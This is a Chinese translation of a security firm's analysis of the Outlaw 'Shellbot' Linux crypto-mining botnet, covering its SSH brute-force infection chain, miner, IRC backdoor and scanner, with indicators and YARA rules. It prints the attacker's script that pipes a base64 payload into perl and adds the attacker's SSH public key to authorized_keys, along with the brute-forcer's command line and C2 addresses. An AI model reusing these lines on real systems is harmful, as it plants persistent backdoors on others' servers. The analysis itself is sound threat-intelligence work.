原文鏈接:Outlaw is Back, a New Crypto-Botnet Targets European Organizations
譯者:知道創宇404實驗室翻譯組

介紹

在我們的日常監控中,我們攔截了一個試圖滲透客戶網絡的Linux惡意軟件,該惡意軟件是著名的“ Shellbot ”,被定義為“Outlaw Hacking Group”的犯罪工具。

早在2018年,TrendMicro首次發現“Outlaw Hacking Group”,該犯罪團伙主攻汽車和金融領域,而Outlaw僵尸網通過暴力登錄以及SSH漏洞(利用Shellshock Flaw和Drupalgeddon2漏洞)來實現對目標系統(包括服務器和IoT設備)進行遠程訪問。其中,TrendMicro首次發現的版本還包含一個DDoS腳本,botmaster可以使用該腳本原有設置在暗網上提供DDoS for-hire服務。

該惡意軟件植入程序的主要組件是“Shellbot”變體,它是一個Monero礦機,與一個基于perl的后門捆綁在一起,其中還包括一個基于IRC的bot和一個SSH掃描器。Shellbot自2005年被熟知,近期其出現在網絡安全領域,使用的是全新的IRC服務器和全新的Monero pools,攻擊目標為全球組織。

技術分析

如前所述,在SSH暴力登錄后,如圖1所示感染鏈開始在Linux服務器進行黑客攻擊,這其中還包含了不同源IP地址的訪問請求,但不同的請求約有30秒的間隔延遲。通過這種欺詐方式,暴力登錄能夠繞過像Fail2Ban這類鎖定登錄機制,一旦計算機完全受到威脅,攻擊者將安裝一個完整的黑客套件(套件由IRC僵尸程序,SSH掃描程序,暴力破解工具和XMRIG加密礦工組成),而所有的惡意程序都會由幾個bash或perl腳本進行適當管理。

1

圖1 Shellbot暴力破解

當計算機完全感染后,安裝的文件如下:

2

圖2 目錄清單

該原始文件夾是一個名為.rsync的隱藏目錄,包含三個文件和三個子目錄。原始文件名為init、init2和initall。它們是三個bash腳本,目的在于安裝感染的三個主要組件。執行的第一個組件是initall,它的主體如下:

3

圖3 initall文件的內容

該腳本只有兩個宏函數,第一個宏函數用于清除受害者機器上的其他感染或其他進程,這些進程在執行過程中可能會產生某種類型沖突。如下,第36行顯示init2文件打印在標準輸出上,然后執行。

4

圖4 init2文件的內容

圖4顯示了init2腳本的內容,在這種情況下,腳本運行三個文件,init0a 從文件夾 ba 從文件夾 C。然后使用crontab linux應用程序進行時間設置。如示意圖所示,惡意軟件根據要執行的模塊和文件準備不同的任務調度配置。

  • / a / upd文件每23天運行一次(第28行);
  • / b / sync每個星期日的上午08:05(第29行);
  • 重啟時顯示/ b / sync(第30行);
  • 每三天/ c / aptitude(第31行);

“ a”文件夾

第一個分析文件夾是“ a”。該目錄包含名為kswapd0的加密貨幣挖掘模塊。在此文件夾中,第一個要執行的文件是文件“ a”。該腳本如下所示:

5

圖5 a 文件夾內容

該腳本的目的是通過讀取/proc/CPU來查詢有關CPU的信息,從而優化挖掘模塊,當檢索到制造商時,將提供通過特定型號的寄存器實用程序“wrmsr”添加一些特定的注冊表值,而這些具體取決于供應商。

緊接著執行upd腳本。upd腳本非常簡單,它檢查進程是否仍在運行,若沒有運行時,則執行腳本run

6

圖6 upd 和 run 的內容

執行的加密挖礦軟件是基于著名的XMRIG monero中名為kswapd0的加密挖礦文件。以下是相關指紋設置信息:

04cb09c75971624c38690d8b7538d02

表一 樣本信息

該組件具有兩個主要功能:

  • 安裝cryptoMiner worker:此elf文件的主要目的是實例化crypto-mining worker。它是XMRIG項目的一個分支,XMRIG項目是挖掘monero軟件加密值的最流行軟件之一。此配置與原始配置一起使用json編寫名為config.json的配置文件。下圖中報告了一段偽代碼,負責配置文件的加載:

7

圖7 已加載的配置文件的偽代碼

  • 下圖報告了所有帶monero參數的配置文件:

8

圖8 帶有用戶,pass和c2的配置文件

安裝SSH后門:第二個組件是一個例程,負責在通過授權的ssh密鑰文件中安裝ssh指紋來設置ssh后門。

9

圖9 授權的ssh密鑰

“ b”文件夾

“ b”文件夾運用后門邏輯,它由三個文件組成:arunstop。它們是三個bash腳本,我們開始對其進行分析:

10

圖10 “ a”腳本文件的內容

腳本是名為“ a ” 的文件。它的主要目的是檢查當前工作目錄并保存文件dir.dir,接著啟動stop腳本來中斷待處理進程執行。最后,授予執行權限,然后執行運行腳本:

#!/bin/shnohup ./stop>>/dev/null &sleep 5echo " ENCODED-BASE64-PAYLOAD" | base64 --decode | perlcd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa

AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==

mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

代碼段1

運行腳本執行以base64格式編碼另一perl腳本,然后重試存儲與圖8所示相同的SSH密鑰。在perl腳本中,解碼base64包裝器后,我們利用pack()指令在perl中獲得了另一個混淆的代碼,如下圖所示:

11

圖11 打包的腳本

但是,通過解碼來獲取真正的惡意代碼卻是非常容易的:

12

圖12 ShellBot客戶端片段

ShellBot惡意軟件是最著名的Linux IRC bot之一,該ShellBot包含使用IRC協議與C2進行通信的所有通信邏輯。有趣的是C2 45.9.148 [。#99使用的是一個不尋常的端口來管理IRC協議443(通常與HTTPS協議相關聯),頻道為#007,管理員從中接收“polly”和“molly”命令。我們試圖連接它來估計受害者的數量,但是不幸的是,在撰寫本文時,服務器似乎并未處于活動狀態。

IRC服務器位于其他C2的同一子網上,并且都屬于“Nice IT Service Group”(來自荷蘭的提供商)。C2部署了一個Unreal ircd務器(圖13)。

13

圖13 IRC C2相關信息

“ c”文件夾

然后,init2腳本(在圖4中)執行c/start,如下圖所示。開始腳本執行“run”,將其重命名為“aptitude”。

14

圖14 “Run”腳本文件內容

“run”腳本會對CPU體系結構進行一次檢查,對處理器數量進行二次檢查。若機器人在少于7個處理器的64位系統上運行,則會執行“go”腳本。在第17行,執行另一個控制;如果系統是32位的,則不檢查處理器的數量,目前關于此執行原理尚不清楚。

15

圖15 運行腳本的內容

“go”腳本在啟動“tsm”組件之前執行一些初步操作,如圖16所示。腳本檢查體系結構,并在此基礎上定義線程數。如果它在arm架構上運行,則線程數設置為75(如第9行所示),否則線程數設置為515(如第5行所示)。

16

圖16 go腳本的內容

“ tsm”模塊:多級SSH-Bruteforcer

此時,腳本將啟動“tsm”模塊。該模塊是一種網絡掃描儀和暴力登錄軟件,名為“Faster Than Lite”(圖17)。FTL是可能會在犯罪論壇上出售的一種工具,而不是定制工具。

17

圖17 “Faster Than Light” 的有效載荷證據

然后使用以下參數執行“ tsm ”工具:

timeout 3h ./tsm -t $threads -f 1 -s 12 -S 10 -p 0 -d 1 p ip

在改配置中:超時3h意味著腳本執行3小時。

  • -f 1表示A.B類/16掃描,-s 12是兩個請求之間的超時時間,在本例中為12秒(這可能是為了克服某些登錄鎖定機制)。
  • -S 10是設置為10秒的第二個超時,目前尚不清楚第二個超時的用法。
  • p參數定義為要連接的端口,將此參數設置為0表示多端口。幫助菜單中沒有-d參數,這表明該工具可能正在開發中,尚未成熟(由于存在調試信息),但按預期工作。
  • ip的定義是指讀取ip端口文件,即由兩個C2中的一個用圖18所示的加密的多個SSH請求下載的文件,這是第一階段。

18

圖18 來自C2的SSH流量

一旦下載了IP列表,便開始階段2。

在此階段,它使用先前下載的列表中包含的IP執行ssh bruteforce邏輯。在撰寫本文時,下載的列表包含屬于不同國家的94.541個不同IP地址。我們對這些獨特的IP進行排序,然后按國家對它們進行匯總,結果如圖19所示。

如熱圖所示,受影響最嚴重的國家是擁有34998個IP的美國,其次是中國——8688個,德國——6891個,法國——4068個。整個歐洲大陸分布均勻,但意大利擁有658個獨特的IP。

19

圖19 IP地址分布圖

我們發現tsm組件包含pscan和SSH掃描,分別是使用端口掃描程序和bruteforcer。為了尋找有用的信息,經過數據整合發現自2012年以來,該操作已出現在幾個蜜罐上,而腳本的風格和實現的技術都與之相似。其中一個腳本含有一封電子郵件“mafia89tm@yahoo.com”和一些數據,這些都指向了羅馬尼亞團體組織。

結論

目前,Outlaw僵尸網絡仍然活躍,它的目標仍是全世界的組織,但這次是新的monero pool和不同的C2。

命令和控制IRC服務器在編寫時已關閉,但提供受害者IPs列表的兩個C2仍處于活動狀態。這意味著,很有可能該團伙將部署一個新的IRC服務器。

因此我們建議應該加強和更新SSH服務器,使用授權密鑰配置身份驗證并禁用密碼。

相關指標

Hashes

ac2513b3d37de1e89547d12d4e05a899848847571a3b11b18db0075149e85dcc ./.rsync/c/lib/32/tsm

b92e77fdc4aa3181ed62b2d0e58298f51f2993321580c8d2e3368ef8d6944364 ./.rsync/c/slow

f95c1c076b2d78834cc62edd2f4c4f2f6bfa21d07d07853274805859e20261ba ./.rsync/c/watchdog

99fa6e718f5f54b1c8bf14e7b73aa0cda6fe9793a958bd4e0a12916755c1ca93 ./.rsync/c/tsm64

e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./.rsync/c/v

d6c230344520dfc21770300bf8364031e10758d223e8281e2b447c3bf1c43d2b ./.rsync/c/tsm32

5a1797ae845e8c80c771ece9174b93ad5d5a74e593fe3b508ba105830db5fd92 ./.rsync/c/run

0bf8868d117a7c45276b6f966c09830b010c550cd16a2b0d753924fca707c842 ./.rsync/c/tsm

9dbbc9b5d7793425968e42e995226c5f9fe32e502a0a694320a5e838d57c8836 ./.rsync/c/start

f942240260f0281a3c0e909ac10da7f67f87fb8e2a195e2955510424e35a8c8b ./.rsync/c/stop

e62be7212627d9375e7b7afd459644d3f8b4c71a370678eb7fa497b9850a02d5 ./.rsync/c/go

1cc9c6a2c0f2f41900c345b0216023ed51d4e782ed61ed5e39eb423fb2f1ddd8 ./.rsync/c/golan

b2469af4217d99b16a4b708aa29af0a60edeec3242078f42fa03b8eaf285d657 ./.rsync/b/run

dc43fdfbb5f7e8ecc80353dcd85889c0c08483c99acbce35b3ed8f399c936920 ./.rsync/b/a

1c42bfcfb910013ebe02adeb6127884de54ea225161d0a7347c05c2c4e6fbf49 ./.rsync/b/stop

fd9007df08c1bd2cf47fb97443c4d7360e204f4d8fe48c5d603373b2b2975708 ./.rsync/a/kswapd0

18b77e655b323fa07dad9d7b64631dbaa428da7d347b9b9497276f4d466079fe ./.rsync/a/run

dc43fdfbb5f7e8ecc80353dcd85889c0c08483c99acbce35b3ed8f399c936920 ./.rsync/b/a

1c42bfcfb910013ebe02adeb6127884de54ea225161d0a7347c05c2c4e6fbf49 ./.rsync/b/stop

fd9007df08c1bd2cf47fb97443c4d7360e204f4d8fe48c5d603373b2b2975708 ./.rsync/a/kswapd0

18b77e655b323fa07dad9d7b64631dbaa428da7d347b9b9497276f4d466079fe ./.rsync/a/run

9d4fef06b12d18385f1c45dd4e37f031c6590b080ea5446ff7a5bac491daea50 ./.rsync/a/a

1c7b4c7ab716159b6dc9fc5abc6ae28ab9dfa0d64e3d860824692291a7038a4e ./.rsync/a/stop

e38ff53f3978c84078b016006389eb3b286443d61cbabb7d5a4f003c8ae67421 ./.rsync/a/init0

befdf0be5b811621a72eddafad1886321102be1ec3417030888371c5554d9d1a ./.rsync/initall

16d93464ebd8f370011bf040cb4aec7699f4be604452eb5efcd77e5d5e67ae1b ./.rsync/init

C2

  • debian-package[.center
  • 45.9.148[.125
  • 45.9.148[.129
  • 45.9.148[.99

Yara Rules

rule XMRIG_Miner_Shellbot_Apr20{
meta:
      description = "XMRIG Miner of the shellbot campaign"
      hash = "fd9007df08c1bd2cf47fb97443c4d7360e204f4d8fe48c5d603373b2b2975708"
      author = "Cybaze - Yoroi  ZLab"
      last_updated = "2020-04-27"
      tlp = "white"
      category = "informational"

strings:
    $s1 = { D3 EA FF 98 ?? ?? ?? ?? D3 EA FF }
    $s2 = { 50 ?? EA FF 28 D3 }
    $s3 = { 48 03 7D ?? 48 63 15 95 ?? ?? ?? 48 39 FE 76 ?? 48 8D 04 17 48 39 C6 }
condition:
    all of them
}


import "elf"

rule TSM_FasterThanLite_Outlaw_Apr20 
{
meta:
      description = "TSM ssh bruteforce component of Outlaw Botnet April 2020"
      hash32 = "3eef8c27ad8458af84dcb52dfa01295c427908a0" // for tsm32 (32 bit)
      hash64 = "a1da0566193f30061f69b057c698dc7923d2038c" // for tsm64 (64 bit)

      author = "Cybaze - Yoroi  ZLab"
      last_updated = "2020-04-27"
      tlp = "white"
      category = "informational"


 strings:
          $s1= {63 73 2D 64 76 63 00 69 64 2D 73 6D 69 6D 65 2D
61 6C 67 2D 45 53 44 48 77 69 74 68 33 44 45 53
00 69 64 2D 73 6D 69 6D 65 2D 61 6C 67 2D 45 53
44 48 77 69 74 68 52 43 32 00 69 64 2D 73 6D 69
6D 65 2D 61 6C 67 2D 33 44 45 53 77 72 61 70 00
69 64 2D 73 6D 69 6D 65 2D 61 6C 67 2D 52 43 32
77 72 61 70 00 69 64 2D 73 6D 69 6D 65 2D 61 6C
67 2D 45 53 44 48 00 69 64 2D 73 6D 69 6D 65 2D
61 6C 67 2D 43 4D 53 33}

    $s2= {2D 70 6C 61 63 65 4F 66 42 69 72 74 68 00 69 64
2D 70 64 61 2D 67 65 6E 64 65 72 00 69 64 2D 70
64 61 2D 63 6F 75 6E 74 72 79 4F 66 43 69 74 69
7A 65 6E 73 68 69 70}

    $s3 ="brainpoolP384r1" wide ascii
    $s4= "getpwnam" wide ascii //mutex
    $s5 = "dup2" wide ascii //mutex
    $s6 = "_ITM_deregisterTMCloneTable" wide ascii //mutex
    $elf = { 7f 45 4c 46 } //ELF file’s magic numbers

        condition:
                $elf in (0..4) and all of them and elf.number_of_sections > 25 

}

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1204/